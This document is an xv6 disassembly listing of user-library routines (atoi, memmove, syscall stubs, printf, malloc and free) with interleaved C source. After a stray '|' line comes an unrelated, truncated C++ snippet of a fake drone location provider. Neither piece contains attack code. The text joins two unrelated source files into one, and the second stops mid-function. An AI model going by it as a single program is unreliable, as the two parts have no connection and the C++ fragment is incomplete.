2c1: 83 ec 0c sub $0xc,%esp
2c4: ff 75 f4 pushl -0xc(%ebp)
2c7: e8 c2 00 00 00 call 38e <close>
2cc: 83 c4 10 add $0x10,%esp
return r;
2cf: 8b 45 f0 mov -0x10(%ebp),%eax
}
2d2: c9 leave
2d3: c3 ret
000002d4 <atoi>:
int
atoi(const char *s)
{
2d4: 55 push %ebp
2d5: 89 e5 mov %esp,%ebp
2d7: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2da: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
2e1: eb 25 jmp 308 <atoi+0x34>
n = n*10 + *s++ - '0';
2e3: 8b 55 fc mov -0x4(%ebp),%edx
2e6: 89 d0 mov %edx,%eax
2e8: c1 e0 02 shl $0x2,%eax
2eb: 01 d0 add %edx,%eax
2ed: 01 c0 add %eax,%eax
2ef: 89 c1 mov %eax,%ecx
2f1: 8b 45 08 mov 0x8(%ebp),%eax
2f4: 8d 50 01 lea 0x1(%eax),%edx
2f7: 89 55 08 mov %edx,0x8(%ebp)
2fa: 0f b6 00 movzbl (%eax),%eax
2fd: 0f be c0 movsbl %al,%eax
300: 01 c8 add %ecx,%eax
302: 83 e8 30 sub $0x30,%eax
305: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
308: 8b 45 08 mov 0x8(%ebp),%eax
30b: 0f b6 00 movzbl (%eax),%eax
30e: 3c 2f cmp $0x2f,%al
310: 7e 0a jle 31c <atoi+0x48>
312: 8b 45 08 mov 0x8(%ebp),%eax
315: 0f b6 00 movzbl (%eax),%eax
318: 3c 39 cmp $0x39,%al
31a: 7e c7 jle 2e3 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
31c: 8b 45 fc mov -0x4(%ebp),%eax
}
31f: c9 leave
320: c3 ret
00000321 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
321: 55 push %ebp
322: 89 e5 mov %esp,%ebp
324: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
327: 8b 45 08 mov 0x8(%ebp),%eax
32a: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
32d: 8b 45 0c mov 0xc(%ebp),%eax
330: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
333: eb 17 jmp 34c <memmove+0x2b>
*dst++ = *src++;
335: 8b 45 fc mov -0x4(%ebp),%eax
338: 8d 50 01 lea 0x1(%eax),%edx
33b: 89 55 fc mov %edx,-0x4(%ebp)
33e: 8b 55 f8 mov -0x8(%ebp),%edx
341: 8d 4a 01 lea 0x1(%edx),%ecx
344: 89 4d f8 mov %ecx,-0x8(%ebp)
347: 0f b6 12 movzbl (%edx),%edx
34a: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
34c: 8b 45 10 mov 0x10(%ebp),%eax
34f: 8d 50 ff lea -0x1(%eax),%edx
352: 89 55 10 mov %edx,0x10(%ebp)
355: 85 c0 test %eax,%eax
357: 7f dc jg 335 <memmove+0x14>
*dst++ = *src++;
return vdst;
359: 8b 45 08 mov 0x8(%ebp),%eax
}
35c: c9 leave
35d: c3 ret
0000035e <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
35e: b8 01 00 00 00 mov $0x1,%eax
363: cd 40 int $0x40
365: c3 ret
00000366 <exit>:
SYSCALL(exit)
366: b8 02 00 00 00 mov $0x2,%eax
36b: cd 40 int $0x40
36d: c3 ret
0000036e <wait>:
SYSCALL(wait)
36e: b8 03 00 00 00 mov $0x3,%eax
373: cd 40 int $0x40
375: c3 ret
00000376 <pipe>:
SYSCALL(pipe)
376: b8 04 00 00 00 mov $0x4,%eax
37b: cd 40 int $0x40
37d: c3 ret
0000037e <read>:
SYSCALL(read)
37e: b8 05 00 00 00 mov $0x5,%eax
383: cd 40 int $0x40
385: c3 ret
00000386 <write>:
SYSCALL(write)
386: b8 10 00 00 00 mov $0x10,%eax
38b: cd 40 int $0x40
38d: c3 ret
0000038e <close>:
SYSCALL(close)
38e: b8 15 00 00 00 mov $0x15,%eax
393: cd 40 int $0x40
395: c3 ret
00000396 <kill>:
SYSCALL(kill)
396: b8 06 00 00 00 mov $0x6,%eax
39b: cd 40 int $0x40
39d: c3 ret
0000039e <exec>:
SYSCALL(exec)
39e: b8 07 00 00 00 mov $0x7,%eax
3a3: cd 40 int $0x40
3a5: c3 ret
000003a6 <open>:
SYSCALL(open)
3a6: b8 0f 00 00 00 mov $0xf,%eax
3ab: cd 40 int $0x40
3ad: c3 ret
000003ae <mknod>:
SYSCALL(mknod)
3ae: b8 11 00 00 00 mov $0x11,%eax
3b3: cd 40 int $0x40
3b5: c3 ret
000003b6 <unlink>:
SYSCALL(unlink)
3b6: b8 12 00 00 00 mov $0x12,%eax
3bb: cd 40 int $0x40
3bd: c3 ret
000003be <fstat>:
SYSCALL(fstat)
3be: b8 08 00 00 00 mov $0x8,%eax
3c3: cd 40 int $0x40
3c5: c3 ret
000003c6 <link>:
SYSCALL(link)
3c6: b8 13 00 00 00 mov $0x13,%eax
3cb: cd 40 int $0x40
3cd: c3 ret
000003ce <mkdir>:
SYSCALL(mkdir)
3ce: b8 14 00 00 00 mov $0x14,%eax
3d3: cd 40 int $0x40
3d5: c3 ret
000003d6 <chdir>:
SYSCALL(chdir)
3d6: b8 09 00 00 00 mov $0x9,%eax
3db: cd 40 int $0x40
3dd: c3 ret
000003de <dup>:
SYSCALL(dup)
3de: b8 0a 00 00 00 mov $0xa,%eax
3e3: cd 40 int $0x40
3e5: c3 ret
000003e6 <getpid>:
SYSCALL(getpid)
3e6: b8 0b 00 00 00 mov $0xb,%eax
3eb: cd 40 int $0x40
3ed: c3 ret
000003ee <sbrk>:
SYSCALL(sbrk)
3ee: b8 0c 00 00 00 mov $0xc,%eax
3f3: cd 40 int $0x40
3f5: c3 ret
000003f6 <sleep>:
SYSCALL(sleep)
3f6: b8 0d 00 00 00 mov $0xd,%eax
3fb: cd 40 int $0x40
3fd: c3 ret
000003fe <uptime>:
SYSCALL(uptime)
3fe: b8 0e 00 00 00 mov $0xe,%eax
403: cd 40 int $0x40
405: c3 ret
00000406 <waitx>:
SYSCALL(waitx)
406: b8 16 00 00 00 mov $0x16,%eax
40b: cd 40 int $0x40
40d: c3 ret
0000040e <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
40e: 55 push %ebp
40f: 89 e5 mov %esp,%ebp
411: 83 ec 18 sub $0x18,%esp
414: 8b 45 0c mov 0xc(%ebp),%eax
417: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
41a: 83 ec 04 sub $0x4,%esp
41d: 6a 01 push $0x1
41f: 8d 45 f4 lea -0xc(%ebp),%eax
422: 50 push %eax
423: ff 75 08 pushl 0x8(%ebp)
426: e8 5b ff ff ff call 386 <write>
42b: 83 c4 10 add $0x10,%esp
}
42e: 90 nop
42f: c9 leave
430: c3 ret
00000431 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
431: 55 push %ebp
432: 89 e5 mov %esp,%ebp
434: 53 push %ebx
435: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
438: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
43f: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
443: 74 17 je 45c <printint+0x2b>
445: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
449: 79 11 jns 45c <printint+0x2b>
neg = 1;
44b: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
452: 8b 45 0c mov 0xc(%ebp),%eax
455: f7 d8 neg %eax
457: 89 45 ec mov %eax,-0x14(%ebp)
45a: eb 06 jmp 462 <printint+0x31>
} else {
x = xx;
45c: 8b 45 0c mov 0xc(%ebp),%eax
45f: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
462: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
469: 8b 4d f4 mov -0xc(%ebp),%ecx
46c: 8d 41 01 lea 0x1(%ecx),%eax
46f: 89 45 f4 mov %eax,-0xc(%ebp)
472: 8b 5d 10 mov 0x10(%ebp),%ebx
475: 8b 45 ec mov -0x14(%ebp),%eax
478: ba 00 00 00 00 mov $0x0,%edx
47d: f7 f3 div %ebx
47f: 89 d0 mov %edx,%eax
481: 0f b6 80 34 0b 00 00 movzbl 0xb34(%eax),%eax
488: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
48c: 8b 5d 10 mov 0x10(%ebp),%ebx
48f: 8b 45 ec mov -0x14(%ebp),%eax
492: ba 00 00 00 00 mov $0x0,%edx
497: f7 f3 div %ebx
499: 89 45 ec mov %eax,-0x14(%ebp)
49c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4a0: 75 c7 jne 469 <printint+0x38>
if(neg)
4a2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4a6: 74 2d je 4d5 <printint+0xa4>
buf[i++] = '-';
4a8: 8b 45 f4 mov -0xc(%ebp),%eax
4ab: 8d 50 01 lea 0x1(%eax),%edx
4ae: 89 55 f4 mov %edx,-0xc(%ebp)
4b1: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4b6: eb 1d jmp 4d5 <printint+0xa4>
putc(fd, buf[i]);
4b8: 8d 55 dc lea -0x24(%ebp),%edx
4bb: 8b 45 f4 mov -0xc(%ebp),%eax
4be: 01 d0 add %edx,%eax
4c0: 0f b6 00 movzbl (%eax),%eax
4c3: 0f be c0 movsbl %al,%eax
4c6: 83 ec 08 sub $0x8,%esp
4c9: 50 push %eax
4ca: ff 75 08 pushl 0x8(%ebp)
4cd: e8 3c ff ff ff call 40e <putc>
4d2: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4d5: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4d9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4dd: 79 d9 jns 4b8 <printint+0x87>
putc(fd, buf[i]);
}
4df: 90 nop
4e0: 8b 5d fc mov -0x4(%ebp),%ebx
4e3: c9 leave
4e4: c3 ret
000004e5 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4e5: 55 push %ebp
4e6: 89 e5 mov %esp,%ebp
4e8: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4eb: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4f2: 8d 45 0c lea 0xc(%ebp),%eax
4f5: 83 c0 04 add $0x4,%eax
4f8: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4fb: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
502: e9 59 01 00 00 jmp 660 <printf+0x17b>
c = fmt[i] & 0xff;
507: 8b 55 0c mov 0xc(%ebp),%edx
50a: 8b 45 f0 mov -0x10(%ebp),%eax
50d: 01 d0 add %edx,%eax
50f: 0f b6 00 movzbl (%eax),%eax
512: 0f be c0 movsbl %al,%eax
515: 25 ff 00 00 00 and $0xff,%eax
51a: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
51d: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
521: 75 2c jne 54f <printf+0x6a>
if(c == '%'){
523: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
527: 75 0c jne 535 <printf+0x50>
state = '%';
529: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
530: e9 27 01 00 00 jmp 65c <printf+0x177>
} else {
putc(fd, c);
535: 8b 45 e4 mov -0x1c(%ebp),%eax
538: 0f be c0 movsbl %al,%eax
53b: 83 ec 08 sub $0x8,%esp
53e: 50 push %eax
53f: ff 75 08 pushl 0x8(%ebp)
542: e8 c7 fe ff ff call 40e <putc>
547: 83 c4 10 add $0x10,%esp
54a: e9 0d 01 00 00 jmp 65c <printf+0x177>
}
} else if(state == '%'){
54f: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
553: 0f 85 03 01 00 00 jne 65c <printf+0x177>
if(c == 'd'){
559: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
55d: 75 1e jne 57d <printf+0x98>
printint(fd, *ap, 10, 1);
55f: 8b 45 e8 mov -0x18(%ebp),%eax
562: 8b 00 mov (%eax),%eax
564: 6a 01 push $0x1
566: 6a 0a push $0xa
568: 50 push %eax
569: ff 75 08 pushl 0x8(%ebp)
56c: e8 c0 fe ff ff call 431 <printint>
571: 83 c4 10 add $0x10,%esp
ap++;
574: 83 45 e8 04 addl $0x4,-0x18(%ebp)
578: e9 d8 00 00 00 jmp 655 <printf+0x170>
} else if(c == 'x' || c == 'p'){
57d: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
581: 74 06 je 589 <printf+0xa4>
583: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
587: 75 1e jne 5a7 <printf+0xc2>
printint(fd, *ap, 16, 0);
589: 8b 45 e8 mov -0x18(%ebp),%eax
58c: 8b 00 mov (%eax),%eax
58e: 6a 00 push $0x0
590: 6a 10 push $0x10
592: 50 push %eax
593: ff 75 08 pushl 0x8(%ebp)
596: e8 96 fe ff ff call 431 <printint>
59b: 83 c4 10 add $0x10,%esp
ap++;
59e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5a2: e9 ae 00 00 00 jmp 655 <printf+0x170>
} else if(c == 's'){
5a7: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
5ab: 75 43 jne 5f0 <printf+0x10b>
s = (char*)*ap;
5ad: 8b 45 e8 mov -0x18(%ebp),%eax
5b0: 8b 00 mov (%eax),%eax
5b2: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
5b5: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
5b9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
5bd: 75 25 jne 5e4 <printf+0xff>
s = "(null)";
5bf: c7 45 f4 c1 08 00 00 movl $0x8c1,-0xc(%ebp)
while(*s != 0){
5c6: eb 1c jmp 5e4 <printf+0xff>
putc(fd, *s);
5c8: 8b 45 f4 mov -0xc(%ebp),%eax
5cb: 0f b6 00 movzbl (%eax),%eax
5ce: 0f be c0 movsbl %al,%eax
5d1: 83 ec 08 sub $0x8,%esp
5d4: 50 push %eax
5d5: ff 75 08 pushl 0x8(%ebp)
5d8: e8 31 fe ff ff call 40e <putc>
5dd: 83 c4 10 add $0x10,%esp
s++;
5e0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5e4: 8b 45 f4 mov -0xc(%ebp),%eax
5e7: 0f b6 00 movzbl (%eax),%eax
5ea: 84 c0 test %al,%al
5ec: 75 da jne 5c8 <printf+0xe3>
5ee: eb 65 jmp 655 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5f0: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5f4: 75 1d jne 613 <printf+0x12e>
putc(fd, *ap);
5f6: 8b 45 e8 mov -0x18(%ebp),%eax
5f9: 8b 00 mov (%eax),%eax
5fb: 0f be c0 movsbl %al,%eax
5fe: 83 ec 08 sub $0x8,%esp
601: 50 push %eax
602: ff 75 08 pushl 0x8(%ebp)
605: e8 04 fe ff ff call 40e <putc>
60a: 83 c4 10 add $0x10,%esp
ap++;
60d: 83 45 e8 04 addl $0x4,-0x18(%ebp)
611: eb 42 jmp 655 <printf+0x170>
} else if(c == '%'){
613: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
617: 75 17 jne 630 <printf+0x14b>
putc(fd, c);
619: 8b 45 e4 mov -0x1c(%ebp),%eax
61c: 0f be c0 movsbl %al,%eax
61f: 83 ec 08 sub $0x8,%esp
622: 50 push %eax
623: ff 75 08 pushl 0x8(%ebp)
626: e8 e3 fd ff ff call 40e <putc>
62b: 83 c4 10 add $0x10,%esp
62e: eb 25 jmp 655 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
630: 83 ec 08 sub $0x8,%esp
633: 6a 25 push $0x25
635: ff 75 08 pushl 0x8(%ebp)
638: e8 d1 fd ff ff call 40e <putc>
63d: 83 c4 10 add $0x10,%esp
putc(fd, c);
640: 8b 45 e4 mov -0x1c(%ebp),%eax
643: 0f be c0 movsbl %al,%eax
646: 83 ec 08 sub $0x8,%esp
649: 50 push %eax
64a: ff 75 08 pushl 0x8(%ebp)
64d: e8 bc fd ff ff call 40e <putc>
652: 83 c4 10 add $0x10,%esp
}
state = 0;
655: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
65c: 83 45 f0 01 addl $0x1,-0x10(%ebp)
660: 8b 55 0c mov 0xc(%ebp),%edx
663: 8b 45 f0 mov -0x10(%ebp),%eax
666: 01 d0 add %edx,%eax
668: 0f b6 00 movzbl (%eax),%eax
66b: 84 c0 test %al,%al
66d: 0f 85 94 fe ff ff jne 507 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
673: 90 nop
674: c9 leave
675: c3 ret
00000676 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
676: 55 push %ebp
677: 89 e5 mov %esp,%ebp
679: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
67c: 8b 45 08 mov 0x8(%ebp),%eax
67f: 83 e8 08 sub $0x8,%eax
682: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
685: a1 68 0b 00 00 mov 0xb68,%eax
68a: 89 45 fc mov %eax,-0x4(%ebp)
68d: eb 24 jmp 6b3 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
68f: 8b 45 fc mov -0x4(%ebp),%eax
692: 8b 00 mov (%eax),%eax
694: 3b 45 fc cmp -0x4(%ebp),%eax
697: 77 12 ja 6ab <free+0x35>
699: 8b 45 f8 mov -0x8(%ebp),%eax
69c: 3b 45 fc cmp -0x4(%ebp),%eax
69f: 77 24 ja 6c5 <free+0x4f>
6a1: 8b 45 fc mov -0x4(%ebp),%eax
6a4: 8b 00 mov (%eax),%eax
6a6: 3b 45 f8 cmp -0x8(%ebp),%eax
6a9: 77 1a ja 6c5 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6ab: 8b 45 fc mov -0x4(%ebp),%eax
6ae: 8b 00 mov (%eax),%eax
6b0: 89 45 fc mov %eax,-0x4(%ebp)
6b3: 8b 45 f8 mov -0x8(%ebp),%eax
6b6: 3b 45 fc cmp -0x4(%ebp),%eax
6b9: 76 d4 jbe 68f <free+0x19>
6bb: 8b 45 fc mov -0x4(%ebp),%eax
6be: 8b 00 mov (%eax),%eax
6c0: 3b 45 f8 cmp -0x8(%ebp),%eax
6c3: 76 ca jbe 68f <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
6c5: 8b 45 f8 mov -0x8(%ebp),%eax
6c8: 8b 40 04 mov 0x4(%eax),%eax
6cb: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6d2: 8b 45 f8 mov -0x8(%ebp),%eax
6d5: 01 c2 add %eax,%edx
6d7: 8b 45 fc mov -0x4(%ebp),%eax
6da: 8b 00 mov (%eax),%eax
6dc: 39 c2 cmp %eax,%edx
6de: 75 24 jne 704 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6e0: 8b 45 f8 mov -0x8(%ebp),%eax
6e3: 8b 50 04 mov 0x4(%eax),%edx
6e6: 8b 45 fc mov -0x4(%ebp),%eax
6e9: 8b 00 mov (%eax),%eax
6eb: 8b 40 04 mov 0x4(%eax),%eax
6ee: 01 c2 add %eax,%edx
6f0: 8b 45 f8 mov -0x8(%ebp),%eax
6f3: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6f6: 8b 45 fc mov -0x4(%ebp),%eax
6f9: 8b 00 mov (%eax),%eax
6fb: 8b 10 mov (%eax),%edx
6fd: 8b 45 f8 mov -0x8(%ebp),%eax
700: 89 10 mov %edx,(%eax)
702: eb 0a jmp 70e <free+0x98>
} else
bp->s.ptr = p->s.ptr;
704: 8b 45 fc mov -0x4(%ebp),%eax
707: 8b 10 mov (%eax),%edx
709: 8b 45 f8 mov -0x8(%ebp),%eax
70c: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
70e: 8b 45 fc mov -0x4(%ebp),%eax
711: 8b 40 04 mov 0x4(%eax),%eax
714: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
71b: 8b 45 fc mov -0x4(%ebp),%eax
71e: 01 d0 add %edx,%eax
720: 3b 45 f8 cmp -0x8(%ebp),%eax
723: 75 20 jne 745 <free+0xcf>
p->s.size += bp->s.size;
725: 8b 45 fc mov -0x4(%ebp),%eax
728: 8b 50 04 mov 0x4(%eax),%edx
72b: 8b 45 f8 mov -0x8(%ebp),%eax
72e: 8b 40 04 mov 0x4(%eax),%eax
731: 01 c2 add %eax,%edx
733: 8b 45 fc mov -0x4(%ebp),%eax
736: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
739: 8b 45 f8 mov -0x8(%ebp),%eax
73c: 8b 10 mov (%eax),%edx
73e: 8b 45 fc mov -0x4(%ebp),%eax
741: 89 10 mov %edx,(%eax)
743: eb 08 jmp 74d <free+0xd7>
} else
p->s.ptr = bp;
745: 8b 45 fc mov -0x4(%ebp),%eax
748: 8b 55 f8 mov -0x8(%ebp),%edx
74b: 89 10 mov %edx,(%eax)
freep = p;
74d: 8b 45 fc mov -0x4(%ebp),%eax
750: a3 68 0b 00 00 mov %eax,0xb68
}
755: 90 nop
756: c9 leave
757: c3 ret
00000758 <morecore>:
static Header*
morecore(uint nu)
{
758: 55 push %ebp
759: 89 e5 mov %esp,%ebp
75b: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
75e: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
765: 77 07 ja 76e <morecore+0x16>
nu = 4096;
767: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
76e: 8b 45 08 mov 0x8(%ebp),%eax
771: c1 e0 03 shl $0x3,%eax
774: 83 ec 0c sub $0xc,%esp
777: 50 push %eax
778: e8 71 fc ff ff call 3ee <sbrk>
77d: 83 c4 10 add $0x10,%esp
780: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
783: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
787: 75 07 jne 790 <morecore+0x38>
return 0;
789: b8 00 00 00 00 mov $0x0,%eax
78e: eb 26 jmp 7b6 <morecore+0x5e>
hp = (Header*)p;
790: 8b 45 f4 mov -0xc(%ebp),%eax
793: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
796: 8b 45 f0 mov -0x10(%ebp),%eax
799: 8b 55 08 mov 0x8(%ebp),%edx
79c: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
79f: 8b 45 f0 mov -0x10(%ebp),%eax
7a2: 83 c0 08 add $0x8,%eax
7a5: 83 ec 0c sub $0xc,%esp
7a8: 50 push %eax
7a9: e8 c8 fe ff ff call 676 <free>
7ae: 83 c4 10 add $0x10,%esp
return freep;
7b1: a1 68 0b 00 00 mov 0xb68,%eax
}
7b6: c9 leave
7b7: c3 ret
000007b8 <malloc>:
void*
malloc(uint nbytes)
{
7b8: 55 push %ebp
7b9: 89 e5 mov %esp,%ebp
7bb: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7be: 8b 45 08 mov 0x8(%ebp),%eax
7c1: 83 c0 07 add $0x7,%eax
7c4: c1 e8 03 shr $0x3,%eax
7c7: 83 c0 01 add $0x1,%eax
7ca: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
7cd: a1 68 0b 00 00 mov 0xb68,%eax
7d2: 89 45 f0 mov %eax,-0x10(%ebp)
7d5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7d9: 75 23 jne 7fe <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7db: c7 45 f0 60 0b 00 00 movl $0xb60,-0x10(%ebp)
7e2: 8b 45 f0 mov -0x10(%ebp),%eax
7e5: a3 68 0b 00 00 mov %eax,0xb68
7ea: a1 68 0b 00 00 mov 0xb68,%eax
7ef: a3 60 0b 00 00 mov %eax,0xb60
base.s.size = 0;
7f4: c7 05 64 0b 00 00 00 movl $0x0,0xb64
7fb: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7fe: 8b 45 f0 mov -0x10(%ebp),%eax
801: 8b 00 mov (%eax),%eax
803: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
806: 8b 45 f4 mov -0xc(%ebp),%eax
809: 8b 40 04 mov 0x4(%eax),%eax
80c: 3b 45 ec cmp -0x14(%ebp),%eax
80f: 72 4d jb 85e <malloc+0xa6>
if(p->s.size == nunits)
811: 8b 45 f4 mov -0xc(%ebp),%eax
814: 8b 40 04 mov 0x4(%eax),%eax
817: 3b 45 ec cmp -0x14(%ebp),%eax
81a: 75 0c jne 828 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
81c: 8b 45 f4 mov -0xc(%ebp),%eax
81f: 8b 10 mov (%eax),%edx
821: 8b 45 f0 mov -0x10(%ebp),%eax
824: 89 10 mov %edx,(%eax)
826: eb 26 jmp 84e <malloc+0x96>
else {
p->s.size -= nunits;
828: 8b 45 f4 mov -0xc(%ebp),%eax
82b: 8b 40 04 mov 0x4(%eax),%eax
82e: 2b 45 ec sub -0x14(%ebp),%eax
831: 89 c2 mov %eax,%edx
833: 8b 45 f4 mov -0xc(%ebp),%eax
836: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
839: 8b 45 f4 mov -0xc(%ebp),%eax
83c: 8b 40 04 mov 0x4(%eax),%eax
83f: c1 e0 03 shl $0x3,%eax
842: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
845: 8b 45 f4 mov -0xc(%ebp),%eax
848: 8b 55 ec mov -0x14(%ebp),%edx
84b: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
84e: 8b 45 f0 mov -0x10(%ebp),%eax
851: a3 68 0b 00 00 mov %eax,0xb68
return (void*)(p + 1);
856: 8b 45 f4 mov -0xc(%ebp),%eax
859: 83 c0 08 add $0x8,%eax
85c: eb 3b jmp 899 <malloc+0xe1>
}
if(p == freep)
85e: a1 68 0b 00 00 mov 0xb68,%eax
863: 39 45 f4 cmp %eax,-0xc(%ebp)
866: 75 1e jne 886 <malloc+0xce>
if((p = morecore(nunits)) == 0)
868: 83 ec 0c sub $0xc,%esp
86b: ff 75 ec pushl -0x14(%ebp)
86e: e8 e5 fe ff ff call 758 <morecore>
873: 83 c4 10 add $0x10,%esp
876: 89 45 f4 mov %eax,-0xc(%ebp)
879: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
87d: 75 07 jne 886 <malloc+0xce>
return 0;
87f: b8 00 00 00 00 mov $0x0,%eax
884: eb 13 jmp 899 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
886: 8b 45 f4 mov -0xc(%ebp),%eax
889: 89 45 f0 mov %eax,-0x10(%ebp)
88c: 8b 45 f4 mov -0xc(%ebp),%eax
88f: 8b 00 mov (%eax),%eax
891: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
894: e9 6d ff ff ff jmp 806 <malloc+0x4e>
}
899: c9 leave
89a: c3 ret
|
#include "fake_location_provider.h"
void FakeLocationProvider::request_location_updates(location_callback_t callback)
{
location_callback_ = callback;
timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
}
// Rudimentary location provider whose successive lat, lon combination
// makes Drone revolve in a semi-circular path.
void FakeLocationProvider::compute_next_location()
{
if (count_++ < 10) {
location_callback_(latitude_deg_, longitude_deg_);
latitude_deg_ -= LATITUDE_DEG_PER_METER * 4;
timer_.expires_at(timer_.expires_at() + boost::posix_time::seconds(1));
timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
sleep(1);
}
if (count_++ < 20) {
location_callback_(latitude_deg_, longitude_deg_);
longitude_deg_ += LONGITUDE_DEG_PER_METER * 4;
timer_.expires_at(timer_.expires_at() + boost::posix_time::seconds(1));
timer_.async_wait(std::bind(&FakeLocationProvider::compute_next_location, this));
sleep(1);
}
if (count_++ < 30) {
location_callback_(latitude_deg_, longitude_deg_);
latitude_deg_ += LATITUDE_DEG_PER_METER * 4;
timer_.expires_at(timer_.expires_at() + boost::posix_time::seconds(1));
